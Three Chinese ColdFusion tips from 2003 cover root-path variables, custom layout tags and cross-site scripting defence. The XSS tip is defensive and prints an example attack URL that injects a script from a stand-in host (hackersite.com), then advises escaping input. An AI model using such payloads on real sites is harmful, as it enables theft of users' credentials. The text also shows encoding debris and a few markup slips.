设定你的根目录 作者: Kyle 2/16/03 内容: 设定你的根目录
网站开发人员向来都一直必须在相对路径 vs. 绝对路径这项议题上面打转。在 ColdFusion 环境里面,你可以在多个不同页面使用 CFINCLUDE 卷标,不过既然我们对于在哪个目录里面将会用到 CFINCLUDE 语法,因此在 CFINCLUDE 卷标里面使用相对路径经常会造成很多麻烦。 举例来说,某个被包含的选单里面可能有一个指向网站首页的连结,像下面这样:
<A HREF="index.cfm">Home Page</A>
在网站根目录下面的任何档案引入这个包含档都不会有问题。但是如果你在某个次目录下的一个档案里面引入这个选单档案,那么上面这个超链接便会失效,或者至少会连结到错误的页面去。这时候你实际上会希望这个超链接是写成这样:
<A HREF="../index.cfm">Home Page</A>
有两种方式可以克服这个问题。一个是在超链接里面直接使用绝对路径。要使用这个作法,你必须在 ColdFusion 里面预先设定好一个路径对应关系(mapping)。你可以在 ColdFusion 管理员(ColdFusion Administrator)的「路径对应(Mappings)」区块里面建立这些对应关系。一旦你建立好了路径对应关系,你便可以把指向网站首页的超链接写成下面这个样子:
<A HREF="/mymapping/index.cfm>Home Page</A>
如果你使用了绝对路径,那么不论你在那个位置引入这个档案,该档案里面的超链接永远都会保持有效。我通常使用一个叫做 APPLICATION.RootDir 的应用程序变量来储存这项路径对应设定,并且在超链接里面直接套用这个变量。使用这个作法,如果我真有必要修改目录结构或者路径对应的名称,那么我只需要修改这么一个变量的值就可以了。
<CFSET APPLICATION.RootDir = "/MyMapping">
如果你套用这个变量,你的超链接看起来会像下面这样:
<A HREF="#APPLICATION.RootDir#/index.cfm">
在每个页面的开端建立这样的变量,那么你就可以在该页面的其它部分套用这个变量的值。包含档案运作起来就像该档案的内容实际上真的被写入原有页面一样,因此如果档案 A 引入了档案 B,那么在档案 B 里面我们便可以直接参照到档案 A 里面的变量值:
<!--- 在每个页面设定 RootDir 变量值 --->
<CFSET RootDir ="../">
<!--- 在被引入的页面中参照 RootDir 变量的值(只要确定这个变量确实有被定义即可,否则在引入档案的时候会出现错误讯息) --->
<A HREF="#RootDir#news/newspage.cfm"></code>使用自订卷标来设定版面配置 作者: Kyle 2/16/03 内容: 使用自订卷标来设定版面配置
ColdFusion 的自订卷标功能让你能够将任何你想象得到的功能封装成一个简单易用的包装。虽然这项功能早在几年前便是 ColdFusion 服务器的功能之一,但是从 4.0 版本开始,你可以在自订卷标里面使用启始与结尾卷标。为了说明如何使用自订启始与结尾卷标,在下面这个范例里面我们将网页内容包装在一个自订卷标里面,并且提供版面配置与格式化的相关功能。 想想看,如果在某个普通页面里头可以使用下面这样的写法,那不是很棒吗!
<CF_FormatPage Title="My Page Title">
这里是你的页面主要区域的内容。请注意我们在这里并没有加入表格或者 <BODY> 卷标之类的东西。 </CF_FormatPage> 整个页面原始码就是这样了。其它所有版面配置与格式化信息都被隐藏在主要内容外面的自订卷标里面。为了能够在你的自订卷标里面使用启始与结尾卷标,你必须先了解自订卷标的两种使用状态。你可以透过 #ThisTag.ExecutionMode# 这个变量的值来判断目前被使用的是启始或者是结尾卷标。基本上你的自订卷标内容会被执行两次:一次是遇到启始卷标的时候,另一次便是遇到结尾卷标的时候。为了不让这篇文章显得过于冗长,在这里我们并不加入太多格式化的相关程序代码,但是下面这个基本的 CF_FormatPage 自订卷标应该足够让你了解我们刚才提到的观念:
<!--- 以下是 CF_FormatPage 自订卷标档案内容 --->
<!--- 如果执行模式是「Start」,表示我们遇到的是启始卷标,因此我们显示页面格式的前半段 --->
<CFIF ThisTag.ExecutionMode IS "Start"> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML>
<HEAD>
<TITLE><CFOUTPUT>#ATTRIBUTES.Title#</CFOUTPUT></TITLE>
</HEAD> <BODY> 上面这段内容可以包含页面标题图片,选单或者其它内容。
<!--- 被包含在这个卷标里面的其它内容则会接着在这里显示 ---> <!--- 如果执行模式是「End」,表示我们遇到了结尾卷标,因此我们显示页面格式的后半段 --->
<CFELSEIF ThisTag.ExecutionMode IS "End"> <BR><BR>这里是页面的页尾区域,在这里你可能会放入内容连结或者版权宣告文字。 </BODY>
</HTML> </CFIF> 你能做的东西当然比这个简单例子多得更多,例如加入动态选单,针对每个页面加入不同的标题图片等等。或者换一种作法,你可以针对不同状况建立不同的自订卷标来把版面配置封装起来,只要能够符合你自己的特定需求就行了。保护页面不受跨网站(cross-site)程序攻击
作者: Kyle 2/16/03 内容: 保护页面不受跨网站(cross-site)程序攻击
跨网站程序攻击是网站管理人员经常必须面对的安全性问题之一。像是 ASP,CFML 或者 PHP 这类的应用程序服务器,由于它们与生俱来的动态功能特性,使得它们特别容易受到这一类的攻击。很多时候你的程序都会把某些信息从某个页面传送到另一个页面,将资料储存到数据库中,或者将窗体或 URL 参数接收到的变量值显示在页面上。虽然能够在不同页面之间传递资料看起来是一个优点,但是如果你不够小心的话,这项特性也会同时带来严重的安全性问题。举例来说,请看看下面这个超链接以及相对应的目标页面显示的结果:
<!--- 下面是你某个页面中的超链接 --->
<A HREF="nextpage.cfm?username=Brian">请按这里</A>
<!--- 下面是 nextpage.cfm 所显示的内容 --->
<CFOUTPUT>
欢迎来到下一页,#URL.UserName#。
</CFOUTPUT> 看起来够简单了吧?上面这个超级链接纯粹把使用者名称从一个页面传递到另一个页面去(nextpage.cfm),如果你不够小心的话,这正是问题可能发生的地方。跨网站程序(cross-site scripting)基本上便是欺骗你的 Web 服务器,让它在未预期的的情况下执行其它网站上面某绦颍?/SPAN>JavaScript,Java applet 或者 ActiveX 控件。 如果你观察上面这个例子的目标页面的 URL,它看起来会是下面这样:
http://www.mysite.com/nextpage.cfm?username=Brian
某位不怀好意的使用者可以自己输入一个 URL,里面包含一个连向另一部服务器上面的程序的连结,就像下面这样:
http://www.mysite.com/nextpage.cfm?username=<script src="http://www.hackersite.com/nastyscript.js">
当 ColdFusion 在下一个页面输出上面的 URL 所传过来的变量的时候,输出结果看起来变成下面这样:
欢迎来到下一页,<script src="http://www.hackersite.com/nastyscript.js">。
这个变量会让你那无辜的页面在你未预期的状况下执行对方指定的 JavaScript 程序代码。利用类似的方式,对方也可以在 URL 里面指定恶意的 ActiveX 控件或者 JavaApplet。当然,在这个例子里面,使用者仅是在浏览器上面执行他们自己指定的程序而已,但如果这些恶意程序代码被你自己的程序不小心储存起来并且之后又输出到其它使用者的画面上(例如捣乱者将某些 JavaScript 程序代码输入在你的讨论区发表文章窗体里面,然后你的程序在不知情的状况下把这些程序代码当成发言内容的一部份存入数据库中,那么其它使用者观看到这篇文章的时候,那些被刻意放入的 JavaScript,Java Applet 或者 ActiveX 控件便会在其它使用者的浏览器上面执行了),这时候那些程序就可能足以将其它使用者的帐号,密码或者其它敏感资料暗中传送到某个地方去。这项安全性问题并非 ColdFusion 才会发生的状况,任何应用程序服务器,只要它能够接收从 URL 或者窗体传送过来的资料并且显示在使用者画面上,都有可能受到这类攻击。 幸运的是,要避免这种状况发生并不困难。你要做的工作是过滤来自 URL 或者窗体传送过来的资料,并且将一些特殊的危险字符,例如 < 或者 >(大于和小于符号),把他们替换成相对应的 ASCII 字符码形式(例如将 < 替换成 <)就可以了。事实上 Allaire 公司提供了一个 CF_InputFilter 自订卷标,你可以将它用在你的 application.cfm 档案里面,它可以替你处理相关的特殊字符过滤工作。如果你需要更完整的关于这项议题的资料,请参考「Allaire 安全问题布告栏」网站上面的这篇文章(ASB00-05)。